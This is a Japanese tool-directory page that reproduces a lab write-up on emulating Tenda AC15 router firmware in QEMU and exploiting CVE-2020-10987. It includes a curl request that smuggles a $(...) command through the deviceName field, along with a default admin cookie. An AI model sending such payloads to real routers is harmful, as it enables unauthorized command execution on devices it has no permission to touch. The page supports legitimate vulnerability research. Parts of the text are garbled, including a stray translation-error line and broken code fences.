Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Tenda-Router-VR-and-Exploit — Tenda AC15 ルーターのファームウェアリホスティングとリモートコマンド実行(CVE-2020-10987)のエクスプロイト再現に関する解説記事。 | Kitploit
ツール/GitHubGitHub/jaden-bowers/tenda-router-vr-and-exploit
組み込みシステムセキュリティIoTセキュリティ脆弱性分析エクスプロイトリバースエンジニアリングペネトレーションテストハードウェアセキュリティ学習と教育ファームウェア解析

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
バイナリエクスプロイト
ラボと実践
GitHubjaden-bowers/tenda-router-vr-and-exploit

Tenda-Router-VR-and-Exploit

Tenda AC15 ルーターのファームウェアリホスティングとリモートコマンド実行(CVE-2020-10987)のエクスプロイト再現に関する解説記事。

リポジトリを見る
149ヶ月前未レビュー

Tenda-Router-VR-and-Exploit

この記事では、QEMUを使ってAC15 (V15.03.05.19) ファームウェアのWebサーバーをエミュレートし、ホストブラウザからアクセスできるようにし、脆弱な /goform/setUsbUnload ハンドラ (CVE-2020-10987) を実行して、エミュレートされたrootfs内でコマンド実行を取得する方法を正確に示します。


Overview

  • ファームウェアイメージからsquashfsファイルシステムを抽出し(または今回の場合は入手し)、リバースエンジニアリングを開始します。
  • qemu-system-arm 上で動作する Debian armhf ゲストを構築します。
  • ゲストのネットワークと、エミュレートされたルーターへのポートフォワーディング経路を設定します。
  • ブートスクリプトを作成します。
  • エミュレートされたルーターをエクスプロイトします。

Extracting the filesystem

まず、ファームウェアイメージを入手する必要があります。AC15 V15.03.05.19 のイメージダウンロード先は見つけられませんでしたが、既に抽出済みの squashfs ファイルシステムを含む github リポジトリを見つけることができました。 正しいイメージファイルがあれば、次のように binwalk を使って抽出できたでしょう。``` user@computer $ binwalk -e AC15_V15.03.05.19.bin

DECIMAL HEXADECIMAL DESCRIPTION

64 0x40 TRX firmware header, little endian, image size: 6778880 bytes, CRC32: 0x80AD82D6, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1A488C, rootfs offset: 0x0 92 0x5C LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4177792 bytes 1722572 0x1A48CC Squashfs filesystem, little endian, version 4.0, compression:xz, size: 5052332 bytes, 848 inodes, blocksize: 131072 bytes, created: 2017-04-19 16:18:08

user@computer $ cd _AC15_V15.03.05.19.bin.extracted

root@kitploit:~
正しいイメージファイルはありませんが、既に抽出されたファイルシステムを持つリポジトリがあるので、そのリポジトリをクローンするだけで済みます。```
git clone https://github.com/lapinpt/Tenda-AC15-Firmware-V15.03.05.19-9061

VR というディレクトリを作成し、その中にこのリポジトリをクローンしました。私の rootfs は $HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs にあります。

これで AC15 V15.03.05.19 ファームウェアが手に入りました。次に何が起きているのか確認するため、リバースエンジニアリングに進みましょう。

リバースエンジニアリング

リバースエンジニアリングには Ghidra 11.4.2 を使用します。 対象のバイナリ rootfs/bin/httpd に移動し、Ghidra でロードしましょう。 formsetUsbUnload 関数に移動すると、次のように確認できます。```C uVar1 = FUN_0002bd4c(param_1,"deviceName",&DAT_000f4bdc); doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s",0x33,3,uVar1); FUN_0002c6cc(param_1,"HTTP/1.0 200 OK\r\n\r\n"); FUN_0002c6cc(param_1,"{"errCode":0}"); FUN_0002cc14(param_1,200); return;

root@kitploit:~
これは脆弱性です。`deviceName` パラメータが `doSystemCmd` に直接渡されるため、任意のコマンドを送信できます。

さて、このファームウェアを元のルーターハードウェアではなく qemu を使ってリホストするため、一部のプログラムが存在しないデバイスにアクセスしようとして、起動処理をクラッシュさせることになります。
私たちの目標はウェブサーバー (`httpd`) を悪用することなので、私はそのバイナリのみをリホストすることに集中し、起動処理全体 (`/rootfs/etc_ro/init.d/rcS`) は対象にしませんでした。_振り返ってみると、これが正しい判断だったかはわかりません。_

そこで `rcS` を確認する際、`rcS` が行うことで `httpd` が必要とする可能性のあるものを探しました。ファイルの終わり近くで、以下が確認できます:```bash
cfmd &
echo '' > /proc/sys/kernel/hotplug
udevd &
logserver &

rcS は、他のスタックが起動する直前に cfmd をバックグラウンドで起動します。 さらに調査を進め、脆弱な関数がコマンドを送信する方法を確認した結果、次の結論に至りました。

  • httpd は cfm post を構築します
  • そして cfm クライアントは UNIX ドメインソケット (例: /var/cfm_socket) を介して cfmd と通信します

cfmd の InitServer ルーチンでは、次のことが確認できます。```C unlink("/var/cfm_socket"); strncpy(sa_unix.sun_path, "/var/cfm_socket", ...); bind(fd, (sockaddr*)&sa_unix, 0x6e); listen(fd, 5);

root@kitploit:~
UIXソケットを作成してリッスンします。全体的な仕組みとしては、ハンドラは各クライアントから固定長0x7e0バイトのフレームを読み取ります(`RecvMsg`/`SendMsg`)。最初の4バイトはコマンドコードで、その後に512バイトのキーバッファと1500バイトの値バッファがあります(ハンドラ内のスタックオブジェクトのサイズを確認できます)。オペコードに応じて分岐し、ACKコードを返信します:
- `2` -> Get: `GetCfmValue(key, value)` を呼び出し、応答コード `3` を返します
- `0` -> Set: `SetCfmValue(key, value)` を呼び出し、応答コード `1` を返します
- `0x11` -> Unset: `UnSetCfmValue(key)` を呼び出し、応答コード `0x12` を返します
- `10` -> Commit: `SaveCfm2Flash()` を実行し、`0x10`(OK)または `0xB`(エラー)を返します

そこで、`cfmd` をエミュレートするために、短いスクリプト `cfm_stub` を作成しました。```C
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>

#define SOCK_PATH "/var/cfm_socket"

// minimal UNIX-domain server that httpd expects.
// Replies with an IP string when it sees the key it asks for.
int main(void) {
  int s = socket(AF_UNIX, SOCK_STREAM, 0);
  struct sockaddr_un addr = {0};
  if (s < 0) { perror("socket"); return 1; }
  unlink(SOCK_PATH);
  addr.sun_family = AF_UNIX;
  strncpy(addr.sun_path, SOCK_PATH, sizeof(addr.sun_path)-1);
  if (bind(s, (struct sockaddr*)&addr, sizeof(addr)) < 0) { perror("bind"); return 1; }
  if (listen(s, 5) < 0) { perror("listen"); return 1; }

  for (;;) {
    int c = accept(s, NULL, NULL);
    if (c < 0) { if (errno==EINTR) continue; perror("accept"); break; }
    char buf[1024]; ssize_t n = read(c, buf, sizeof(buf));
    if (n > 0) {
      // In some builds httpd asks for "lan.webiplansslen" etc.
      // Any non-empty reply that looks like an IP keeps init happy.
      const char *reply = "192.168.0.1";
      write(c, reply, strlen(reply));
    }
    close(c);
  }
  close(s);
  return 0;
}

I will show how to compile this after the next part.

次のヘルパーファイルは hooks.so です。httpd と cfm で使用される関数の中には、存在しないハードウェアとやり取りしようとするものがいくつかあります。

以下は、プログラム起動時に前提としている内容です。

  • Flash + MTD パーティションが存在し、マウント可能であること。
  • NVRAM デバイスが存在し (/dev/nvram)、妥当なデフォルト値を返すこと。
  • その他のプラットフォームルーチンが成功すること (Layer-7 設定ローダー、RF 電力復元など)。

以下の関数が問題になるため、LD_PRELOAD=/hooks.so でパッチを当てる必要があります。

  • get_flash_type() -> これが 4 を返す場合、コードはファイルベースのパス (cfm_file_init) を採用します。それ以外の場合は MTD (存在しません) と通信しようとします。
  • get_cfm_blk_size_from_cache() (またはその亜種 j_get_cfm_blk_size_from_cache) が構成ブロックのサイズ決定に参照されます。
  • Broadcom NVRAM シム (bcm_nvram_get) への呼び出しが失敗してはいけません。失敗するとスタックは “NVRAM destroyed” とみなし、復元/再起動ロジックに入ります。
  • load_l7setting_file() や restore_power() などの追加ルーチンは成功することが期待されていますが、存在しないハードウェア/ファイルに触れます。

以下が私たちの hooks.c です。オリジナルは azeria-labs に帰属します。```C #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h> #include <string.h>

int j_get_cfm_blk_size_from_cache(const int i) { puts("j_get_cfm_blk_size_from_cache called....\n"); return 0x20000; // 128 KiB block — what the file path expects }

int get_flash_type() { puts("get_flash_type called....\n"); return 4; // force file-backed CFM init, not MTD }

int load_l7setting_file() { puts("load_l7setting_file called....\n"); return 1; // pretend Layer-7 settings loaded OK }

int restore_power(int a, int b) { puts("restore_power called....\n"); return 0; // success (don’t touch RF/power hardware) }

char *bcm_nvram_get(char *key) { char *value = NULL;

if (strcmp(key, "et0macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FE"); // any valid MAC works } if (strcmp(key, "sb/1/macaddr") == 0) { value = strdup("DE:AD:BE:EF:CA:FD"); } if (strcmp(key, "default_nvram") == 0) { value = strdup("default_nvram"); // signals “nvram is OK” }

printf("bcm_nvram_get(%s) == %s\n", key, value); return value; }

root@kitploit:~
では、これらのファイルをコンパイルして、ファームウェアに配置しましょう。
クロスコンパイルには、Bootlin のプリビルド uClibc ツールチェーンを使用できます。```bash
wget https://toolchains.bootlin.com/downloads/releases/toolchains/armv5-eabi/tarballs/armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
tar xjf armv5-eabi--uclibc--stable-2020.08-1.tar.bz2
export PATH="$PWD/armv5-eabi--uclibc--stable-2020.08-1/bin:$PATH"
ls armv5-eabi--uclibc--stable-2020.08-1/bin | grep gcc

No translatable content was provided in the INPUT section. Please supply the chunk text so it can be translated.```bash arm-buildroot-linux-uclibcgnueabi-gcc arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0 arm-buildroot-linux-uclibcgnueabi-gcc-9.3.0.br_real arm-buildroot-linux-uclibcgnueabi-gcc-ar arm-buildroot-linux-uclibcgnueabi-gcc.br_real arm-buildroot-linux-uclibcgnueabi-gcc-nm arm-buildroot-linux-uclibcgnueabi-gcc-ranlib arm-linux-gcc arm-linux-gcc-9.3.0 arm-linux-gcc-9.3.0.br_real arm-linux-gcc-ar arm-linux-gcc.br_real arm-linux-gcc-nm arm-linux-gcc-ranlib

root@kitploit:~
これで、以下を使ってコンパイルできます```bash
arm-buildroot-linux-uclibcgnueabi-gcc -shared -fPIC -Os -ldl -Wl,-soname,hooks.so -o hooks.so hooks.c
arm-buildroot-linux-uclibcgnueabi-gcc -Os -s -o cfm_stub cfm_stub.c

そして最後に、それらをファームウェアにインストールします。``` $FIRM = "$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs" install -m 0644 ./hooks.so "$FIRM/hooks.so" install -D -m 0755 ./cfm_stub "$FIRM/usr/sbin/cfm_stub"

root@kitploit:~
## ARMゲストシステムの構築
qemuフルシステムを使ってARMゲストをセットアップしましょう。
このゲストシステムを保持するディレクトリを`~/qsys`に作成しました。
次に、このディレクトリ内で以下の操作を行ってゲストをセットアップします。```bash
sudo apt-get install -y qemu-system-arm qemu-utils debootstrap qemu-user-static binfmt-support
mkdir -p ~/qsys/rootfs-armhf

sudo debootstrap --arch=armhf --foreign bookworm ~/qsys/rootfs-armhf http://deb.debian.org/debian
sudo cp /usr/bin/qemu-arm-static ~/qsys/rootfs-armhf/usr/bin/
sudo chroot ~/qsys/rootfs-armhf /debootstrap/debootstrap --second-stage

cat | sudo tee ~/qsys/rootfs-armhf/etc/apt/sources.list >/dev/null <<'EOF'
deb http://deb.debian.org/debian bookworm main
EOF

sudo chroot ~/qsys/rootfs-armhf apt-get update

sudo chroot ~/qsys/rootfs-armhf apt-get install -y \
  net-tools iproute2 iputils-ping python3 busybox-syslogd openssh-server \
  ifupdown curl ca-certificates

sudo chroot ~/qsys/rootfs-armhf bash -lc 'echo "root:root" | chpasswd'

これにより、armhf rootfs が作成され、ゲストが更新され、いくつかの基本ツールがセットアップされ、最後に root の username:password が root:root に設定されます。

次に、armhf カーネルを以下のコマンドでインストールします。```bash sudo chroot ~/qsys/rootfs-armhf apt-get install -y linux-image-armmp

root@kitploit:~
次に、カーネルをコピーしてext4イメージをビルドします。```bash
mkdir -p ~/qsys/kernel
KVER=$(ls ~/qsys/rootfs-armhf/boot/vmlinuz-* | sed 's#.*/vmlinuz-##')
cp ~/qsys/rootfs-armhf/boot/vmlinuz-$KVER ~/qsys/kernel/zImage
cp ~/qsys/rootfs-armhf/usr/lib/linux-image-$KVER/vexpress-v2p-ca9.dtb ~/qsys/kernel/

dd if=/dev/zero of=~/qsys/armhf.ext4 bs=1M count=2048
mkfs.ext4 -F ~/qsys/armhf.ext4
sudo mount ~/qsys/armhf.ext4 /mnt
sudo rsync -aHAX ~/qsys/rootfs-armhf/ /mnt/
sudo umount /mnt

次に、ゲストシステムを起動するには ~/qsys から実行してください```bash qemu-system-arm
-M vexpress-a9 -cpu cortex-a9 -m 512M
-kernel ./kernel/zImage
-dtb ./kernel/vexpress-v2p-ca9.dtb
-initrd ./kernel/initrd.img
-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"
-nographic -audiodev none,id=noaudio
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80
-device virtio-net-device,netdev=net0
-drive file=./armhf.ext4,if=sd,format=raw
-fsdev local,id=fsdev0,path=$HOME/VR/Tenda-AC15-Firmware-V15.03.05.19-9061/rootfs,security_model=none,readonly=on
-device virtio-9p-device,fsdev=fsdev0,mount_tag=fw

root@kitploit:~
起動コマンドの各行が実際に何を意味するのかを、以下で簡単に説明します。

- `-M vexpress-a9 -cpu cortex-a9 -m 512M` Versatile Express A9ボードモデルを使用します(Debianのarmmpカーネルがサポートするボード)。
- `-kernel/-dtb/-initr` このボード用のDebianカーネル/initrdを、vexpressデバイスツリーブロブとともに起動します。
- `-append "root=/dev/mmcblk0 rw rootfstype=ext4 rootwait console=ttyAMA0"` rootfsをSD上に置く標準的なセットアップで、PL011シリアルコンソールを使用します。
- `-nographic -audiodev none,id=noaudio` シリアルのみのUI(SDLウィンドウなし)で、オーディオなし。
- `-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80` QEMUユーザーモードNAT。`host:2222`を`guest:22`へ、`host:8080`を`guest:80`へ転送します。これはネットワーク設定で重要です。これについては後で詳しく説明します。
- `-device virtio-net-device,netdev=net0` `net0`バックエンドにNICを接続します。
- `-drive file=./armhf.ext4,if=sd,format=raw` DebianのrootfsはSDのようなブロックデバイス(`/dev/mmcblk0`)上にあります。
- `-fsdev ... -device virtio-9p-device ... mount_tag=fw` ファームウェアのrootfs(読み取り専用)をタグ`fw`の9p経由でゲストに公開します。これを`/firmware`にマウントし、その上にoverlayfsを重ねて書き込み可能にします。

ゲスト内ではいくつかのエラーが表示されるかもしれませんが、ログインプロンプトが表示され、`root:root`でログインできれば問題ありません。

次に、ゲストシステムでインターネットを有効にするには、次のコマンドを実行します。```
dhclient -v eth0  ||  udhcpc -i eth0

これは eth0 でDHCPリースを取得します

次にsocatをインストールします``` apt-get update && apt-get install -y socat

root@kitploit:~
## ブートスクリプト
次に、ゲストのルートディレクトリ内にブートスクリプトを作成しましょう。```bash
nano boot_tenda.sh

こちらがゲスト内のブートスクリプト /root/boot_tenda_sh です。各ステップの説明コメントが付いています。```bash set -e

bring the extracted firmware rootfs from the host into the guest

mkdir -p /firmware mountpoint -q /firmware || mount -t 9p -o trans=virtio,version=9p2000.L fw /firmware

we need writable places (/var/cfm_socket, /tmp, logs). Overlayfs gives a writable upperdir on top of the read-only firmware tree

this creates an overlay at /firmware

for m in /mnt/fw/dev /mnt/fw/proc /mnt/fw/sys /mnt/fw; do umount -l "$m" 2>/dev/null || true; done rm -rf /overlay_run mkdir -p /overlay_run/upper /overlay_run/work /mnt/fw mount -t overlay overlay
-o lowerdir=/firmware,upperdir=/overlay_run/upper,workdir=/overlay_run/work
/mnt/fw

bind the usual pseudo filesystems

mount --bind /dev /mnt/fw/dev mount --bind /proc /mnt/fw/proc mount --bind /sys /mnt/fw/sys mkdir -p /mnt/fw/var/log /mnt/fw/var/run /mnt/fw/tmp

give the router its LAN IP (this is what httpd binds to)

the router listens on the LAN IP; we create a dummy bridge with the same address so httpd binds exactly like the real device

ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

/dev/log for components that try to log

pidof syslogd >/dev/null || syslogd

copy UI like rcS does so the web UI files are in the served directory

chroot /mnt/fw /bin/sh -c 'mkdir -p /webroot; cp -r /webroot_ro/* /webroot/ 2>/dev/null || true'

start the control socket server which httpd expects on boot. Without this httpd exits early

chroot /mnt/fw /bin/sh -c '/usr/sbin/cfm_stub >/var/log/cfm_stub.log 2>&1 &' sleep 1 [ -S /overlay_run/upper/var/cfm_socket ] && echo "cfm socket up" || echo "no cfm socket"

start the vulnerable webserver with hooks

chroot /mnt/fw /bin/sh -c 'export LD_LIBRARY_PATH=/lib:/usr/lib; LD_PRELOAD=/hooks.so /bin/httpd >/var/log/httpd.log 2>&1 &' sleep 2

relay traffic to complete path host:8080 -> guest:80 (socat) -> 192.168.0.1:80 (httpd)

find the slirp IP on eth0

GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

forward guest:eth0:80 -> 192.168.0.1:80

if command -v socat >/dev/null; then nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80
>/root/socat.log 2>&1 & else echo "socat not found" fi

show listeners

(ss -lntp || netstat -lntp) 2>/dev/null | grep -E '(:80\b|httpd)' || true

root@kitploit:~
さあ、実行する時です。```
chmod +x /root/boot_tenda.sh
/root/boot_tenda.sh

ポート80でhttpdのリスナーが表示されるはずです さらに確認するには、ホスト上でhttp://127.0.0.1:8080/にアクセスすると、ルーターのホームページが表示されます。

ネットワークの仕組みについてもっと知りたい場合は読み進めてください。不要であれば、Webサーバーを悪用する最後のセクションにスキップできます。

ネットワークの仕組みの概要

ルーターのhttpdをゲスト内で起動しつつ、ホストのブラウザからhttp://127.0.0.1:8080/でアクセスできるようにする必要がありました。その間、サーバーは自分がルーターのLAN IP(192.168.0.1)にバインドされていると認識したままにします。 これを実現する要素は3つあります。

  1. QEMUユーザーネットワーク(slirp)+hostfwd
  2. ゲスト内のダミーLANインターフェース(192.168.0.1のbr0)
  3. ゲスト内のローカルTCPリレー(socat)

1. QEMUユーザーネットワーク(slirp)+hostfwd

これは起動コマンドで指定する際に行います。```bash -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::8080-:80 -device virtio-net-device,netdev=net0

root@kitploit:~
- `-netdev user,...` は slirp(QEMU のユーザーモード NAT)を有効にします。ゲストはホスト上で root ブリッジや TAP デバイスを必要とせずに、外部へのインターネット接続(DHCP、DNS)を取得できます。
- `hostfwd=tcp::2222-:22` はホストポート 2222 -> ゲストポート 22 に転送します。
- `hostfwd=tcp::8080-:80` はホストポート 8080 -> ゲストポート 80 に転送します。

次に、`eth0` の DHCP リースを取得します。Slirp は通常、ゲストに `10.0.2.15` を割り当て、ゲートウェイは `10.0.2.2` になることに注意してください。```bash
dhclient -v eth0  ||  udhcpc -i eth0

2. ルーターのLAN IPをゲストに存在させる

実際のファームウェアは、LANブリッジbr0の192.168.0.1にバインドされることを想定しています。それを再現します:```bash ip link add br0 type dummy 2>/dev/null || true ip addr add 192.168.0.1/24 dev br0 2>/dev/null || ip addr replace 192.168.0.1/24 dev br0 ip link set br0 up

root@kitploit:~
- バイナリ(またはそのライブラリ)はしばしばインターフェース名(例: `lan_ifname=br0`)を照会し、ブリッジデバイスを期待します。
- httpd を `192.168.0.1` にバインドすると、動作/リダイレクト(例: `http://192.168.0.1/main.html` への `302`)が実機と同一に保たれます。
- この時点で、httpd は `192.168.0.1:80` のみでリッスンしています(ゲストの `eth0` ではリッスンしていません)。

### 3. `socat` によるブリッジ hostfwd -> ファームウェアリスナー
`host:8080` -> `guest:80` は QEMU によってすでに設定されています。しかし、`httpd` はゲストの `eth0:80` でリッスンしておらず、`192.168.0.1:80` でリッスンしています。そのため、ゲスト内部に小さな TCP リレーを追加します。```bash
# find the slirp IP (usually 10.0.2.15)
GIP=$(ip -4 -o addr show dev eth0 | awk '{split($4,a,"/"); print a[1]}')

# forward guest:eth0:80 → 192.168.0.1:80
nohup socat TCP-LISTEN:80,bind=${GIP},reuseaddr,fork TCP:192.168.0.1:80 \
  >/root/socat.log 2>&1 &

以下が全体のレイアウトです``` Host browser (127.0.0.1:8080) │ V QEMU hostfwd:8080 → guest:80 (on eth0 @ 10.0.2.15) │ V socat in guest: 10.0.2.15:80 → 192.168.0.1:80 │ V httpd bound at 192.168.0.1:80 (inside firmware chroot)

root@kitploit:~
## エクスプロイト実行
Webスタックは、「goform」エンドポイントを、一部のsame-origin/AJAXチェックと「ログイン済み」Cookieの背後で保護しています。UI JavaScriptが送信するのと同じヘッダーを送信してください:```bash
curl -v \
  -H 'Host: 192.168.0.1' \
  -H 'Origin: http://192.168.0.1' \
  -H 'Referer: http://192.168.0.1/index.html' \
  -H 'X-Requested-With: XMLHttpRequest' \
  -H 'Cookie: user=admin; password=21232f297a57a5a743894a0e4a801fc3' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'deviceName=$(touch /tmp/Hello_World)' \
  http://127.0.0.1:8080/goform/setUsbUnload

これは正確に何をするのですか?

  • Host/Origin/Referer/X-Requested-With はハンドラー内の AJAX および same-origin チェックを通過します
  • Cookie: user=admin; password=<md5> はログイン済みセッションをシミュレートします。この場合、md5("admin") = 21232f297a57a5a743894a0e4a801fc3 を使用しました
  • deviceName=$(touch /tmp/Hello_World) は実行したいコマンドにデバイス名を設定します。この場合、ファイル /tmp/Hello_World を作成しています 注: このコマンドを実行すると、しばらくハングし、その後おそらくエラーで接続が閉じられます。これは正常で、動作した証拠です。

次に、ゲスト内でさらに検証するために、新しいファイルが存在するかどうかを確認できます。```bash chroot /mnt/fw /bin/sh -c 'ls -l /tmp/Hello_World && echo "success it worked!"

root@kitploit:~
表示されるはずです。```
-rw-r--r--    1 root     root             0 ... /tmp/Hello_World
success it worked!

送信したコマンドを実行することで、リホストしたルーターのエクスプロイトに成功しました。

ツールをダウンロード